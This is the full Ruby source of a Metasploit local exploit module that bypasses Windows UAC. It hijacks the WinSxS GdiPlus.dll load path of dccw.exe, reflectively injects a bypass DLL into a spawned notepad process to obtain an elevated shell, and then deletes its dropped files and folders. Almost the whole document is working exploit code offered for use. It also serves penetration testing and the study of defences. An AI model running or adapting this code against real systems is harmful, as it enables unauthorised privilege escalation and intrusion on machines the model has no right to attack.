Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_injection_winsxs.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::EXE9include Exploit::FileDropper10include Post::File11include Post::Windows::Priv12include Post::Windows::ReflectiveDLLInjection13include Post::Windows::Runas1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',20'Description' => %q{21This module will bypass Windows UAC by utilizing the trusted publisher22certificate through process injection. It will spawn a second shell that23has the UAC flag turned off by abusing the way "WinSxS" works in Windows24systems. This module uses the Reflective DLL Injection technique to drop25only the DLL payload binary instead of three seperate binaries in the26standard technique. However, it requires the correct architecture to be27selected, (use x64 for SYSWOW64 systems also).28},29'License' => MSF_LICENSE,30'Author' => [31'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'32],33'Platform' => [ 'win' ],34'SessionTypes' => [ 'meterpreter' ],35'Targets' => [36[ 'Windows x86', { 'Arch' => ARCH_X86 } ],37[ 'Windows x64', { 'Arch' => ARCH_X64 } ]38],39'DefaultTarget' => 0,40'References' => [41['URL', 'https://github.com/L3cr0f/DccwBypassUAC']42],43'DisclosureDate' => '2017-04-06',44'Compat' => {45'Meterpreter' => {46'Commands' => %w[47stdapi_fs_delete_dir48stdapi_fs_delete_file49stdapi_fs_stat50stdapi_railgun_api51stdapi_sys_process_attach52stdapi_sys_process_memory_allocate53stdapi_sys_process_memory_write54stdapi_sys_process_thread_create55]56}57}58)59)60end6162def exploit63# Validate that we can actually do things before we bother64# doing any more work65validate_environment!66check_permissions!6768# Get all required environment variables in one shot instead. This69# is a better approach because we don't constantly make calls through70# the session to get the variables.71env_vars = get_envs('TEMP', 'WINDIR')7273# Get UAC level so as to verify if the module will be successful74case get_uac_level75when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,76UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,77UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT78fail_with(Failure::NotVulnerable,79"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")80when UAC_DEFAULT81print_good('UAC is set to Default')82print_good('BypassUAC can bypass this setting, continuing...')83when UAC_NO_PROMPT84print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')85shell_execute_exe86return87end8889dll_path = bypass_dll_path90payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"9192# Establish the folder pattern so as to get those folders that match it93sysarch = sysinfo['Architecture']94if sysarch == ARCH_X8695targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'96else97targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'98end99100directoryNames = get_directories(payload_filepath, targetedDirectories)101create_directories(payload_filepath, directoryNames)102upload_payload_dll(payload_filepath, directoryNames)103104pid = spawn_inject_proc(env_vars['WINDIR'])105106file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)107run_injection(pid, dll_path, file_paths)108end109110# Path to the bypassuac binary and architecture payload checking111def bypass_dll_path112path = ::File.join(Msf::Config.data_directory, 'post')113114sysarch = sysinfo['Architecture']115if sysarch == ARCH_X86116if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)117fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')118else119::File.join(path, 'bypassuac-x86.dll')120end121elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)122::File.join(path, 'bypassuac-x64.dll')123else124fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')125end126end127128# Check if the compromised user matches some requirements129def check_permissions!130# Check if you are an admin131vprint_status('Checking admin status...')132admin_group = is_in_admin_group?133134if admin_group.nil?135print_error('Either whoami is not there or failed to execute')136print_error('Continuing under assumption you already checked...')137elsif admin_group138print_good('Part of Administrators group! Continuing...')139else140fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')141end142143if get_integrity_level == INTEGRITY_LEVEL_SID[:low]144fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')145end146end147148# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation149def run_injection(pid, dll_path, file_paths)150vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")151begin152path_struct = create_struct(file_paths)153154vprint_status("Opening process #{pid}")155host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)156exploit_mem, offset = inject_dll_into_process(host_process, dll_path)157158vprint_status("Injecting struct into #{pid}")159struct_addr = host_process.memory.allocate(path_struct.length)160host_process.memory.write(struct_addr, path_struct)161162vprint_status('Executing payload')163thread = host_process.thread.create(exploit_mem + offset, struct_addr)164print_good("Successfully injected payload in to process: #{pid}")165client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)166rescue Rex::Post::Meterpreter::RequestError => e167print_error("Failed to Inject Payload to #{pid}!")168vprint_error(e.to_s)169end170end171172# Create a process in the native architecture173def spawn_inject_proc(win_dir)174print_status('Spawning process with Windows Publisher Certificate, to inject into...')175if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86176cmd = "#{win_dir}\\sysnative\\notepad.exe"177else178cmd = "#{win_dir}\\System32\\notepad.exe"179end180pid = cmd_exec_get_pid(cmd)181182unless pid183fail_with(Failure::Unknown, 'Spawning Process failed...')184end185186pid187end188189# Upload only one DLL, the rest will be copied into the specific folders190def upload_payload_dll(_payload_filepath, directoryNames)191dllPath = "#{directoryNames[0]}\\GdiPlus.dll"192payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true })193print_status('Uploading the Payload DLL to the filesystem...')194begin195vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")196write_file(dllPath, payload)197rescue Rex::Post::Meterpreter::RequestError => e198fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")199end200201if directoryNames.size > 1202copy_payload_dll(directoryNames, dllPath)203end204end205206# Copy our DLL to all created folders, the first folder already have a copy of the DLL207def copy_payload_dll(directoryNames, dllPath)2081.step(directoryNames.size - 1, 1) do |i|209if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false210print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...')211end212end213end214215# Check if the environment is vulnerable to the exploit216def validate_environment!217fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?218219version = get_version_info220if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) ||221(version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019))222print_good("#{version.product_name} may be vulnerable.")223else224fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")225end226227if is_uac_enabled?228print_status('UAC is Enabled, checking level...')229else230unless is_in_admin_group?231fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')232end233end234end235236# Creating the necessary directories to perform the DLL hijacking237# Since we don't know which path "dccw.exe" will choose, we create238# all the directories that match with the initial pattern239def create_directories(payload_filepath, directoryNames)240env_vars = get_envs('TEMP')241242print_status('Creating temporary folders...')243if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0244fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")245end246247directoryNames.each do |dirName|248if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0249fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")250end251end252end253254# Get all the directories that match with the initial pattern255def get_directories(payload_filepath, targetedDirectories)256directoryNames = []257findFileDataSize = 592258maxPath = client.railgun.const('MAX_PATH')259fileNamePadding = 44260261hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)262if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE')263fail_with(Failure::Unknown, 'Cannot get the targeted directories!')264end265266findFileData = hFile['lpFindFileData']267moreFiles = true268until moreFiles == false269fileAttributes = findFileData[0, 4].unpack('V').first270andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY')271if andOperation272# Removes the remainder part composed of 'A' of the path and the last null character273normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first274path = "#{payload_filepath}\\#{normalizedData}"275directoryNames.push(path)276end277278findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)279moreFiles = findNextFile['return']280findFileData = findNextFile['lpFindFileData']281end282client.railgun.kernel32.FindClose(hFile['return'])283284if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES')285fail_with(Failure::Unknown, 'Cannot get the targeted directories!')286end287288directoryNames289end290291# Store the necessary paths into a struct292def get_file_paths(win_path, payload_filepath)293paths = {}294paths[:szElevDll] = 'dccw.exe.Local'295paths[:szElevDir] = "#{win_path}\\System32"296paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"297paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"298paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"299paths[:szTempDllPath] = payload_filepath300301paths302end303304# Creates the paths struct which contains all the required paths305# the dll needs to copy/execute etc.306def create_struct(paths)307# Write each path to the structure in the order they308# are defined in the bypass uac binary.309struct = ''310struct << fill_struct_path(paths[:szElevDir])311struct << fill_struct_path(paths[:szElevDirSysWow64])312struct << fill_struct_path(paths[:szElevDll])313struct << fill_struct_path(paths[:szElevDllFull])314struct << fill_struct_path(paths[:szElevExeFull])315struct << fill_struct_path(paths[:szTempDllPath])316317struct318end319320def fill_struct_path(path)321path = Rex::Text.to_unicode(path)322path + "\x00" * (520 - path.length)323end324325# When a new session is obtained, it removes the dropped elements (files and folders)326def on_new_session(session)327if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi')328session.core.use('stdapi')329end330remove_dropped_elements(session)331end332333# Remove all the created and dropped files and folders334def remove_dropped_elements(session)335droppedElements = []336337env_vars = get_envs('TEMP', 'WINDIR')338payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"339340sysarch = sysinfo['Architecture']341if sysarch == ARCH_X86342targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'343else344targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'345end346347directoryNames = get_directories(payload_filepath, targetedDirectories)348file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)349350# Remove all dropped elements (files and folders)351remove_dlls(session, directoryNames, file_paths, droppedElements)352remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)353remove_dot_local_folders(session, file_paths, droppedElements)354355# Check if the removal was successful356removal_checking(droppedElements)357end358359# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"360# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"361def remove_dlls(session, directoryNames, file_paths, droppedElements)362directoryNames.each do |dirName|363directoryName = dirName.split('\\').last364365begin366droppedElements.push("#{dirName}\\GdiPlus.dll")367session.fs.file.rm("#{dirName}\\GdiPlus.dll")368rescue ::Rex::Post::Meterpreter::RequestError => e369vprint_error("Error => #{e.class} - #{e}")370end371372begin373droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")374session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")375rescue ::Rex::Post::Meterpreter::RequestError => e376vprint_error("Error => #{e.class} - #{e}")377end378end379end380381# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"382def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)383directoryNames.each do |dirName|384directoryName = dirName.split('\\').last385386begin387droppedElements.push(dirName)388session.fs.dir.rmdir(dirName)389rescue ::Rex::Post::Meterpreter::RequestError => e390vprint_error("Error => #{e.class} - #{e}")391end392393begin394droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")395session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")396rescue ::Rex::Post::Meterpreter::RequestError => e397vprint_error("Error => #{e.class} - #{e}")398end399end400end401402# Remove "C:\Windows\System32\dccw.exe.Local" folder403def remove_dot_local_folders(session, file_paths, droppedElements)404begin405droppedElements.push(file_paths[:szTempDllPath])406session.fs.dir.rmdir(file_paths[:szTempDllPath])407rescue ::Rex::Post::Meterpreter::RequestError => e408vprint_error("Error => #{e.class} - #{e}")409end410411begin412droppedElements.push(file_paths[:szElevDllFull])413session.fs.dir.rmdir(file_paths[:szElevDllFull])414rescue ::Rex::Post::Meterpreter::RequestError => e415vprint_error("Error => #{e.class} - #{e}")416end417end418419# Check if have been successfully removed420def removal_checking(droppedElements)421successfullyRemoved = true422423droppedElements.each do |element|424stat = session.fs.file.stat(element)425if stat426print_error("Unable to delete #{element}!")427successfullyRemoved = false428end429rescue ::Rex::Post::Meterpreter::RequestError => e430vprint_error("Error => #{e.class} - #{e}")431end432433if successfullyRemoved434print_good('All the dropped elements have been successfully removed')435else436print_warning('Could not delete some dropped elements! They will require manual cleanup on the target')437end438end439end440441442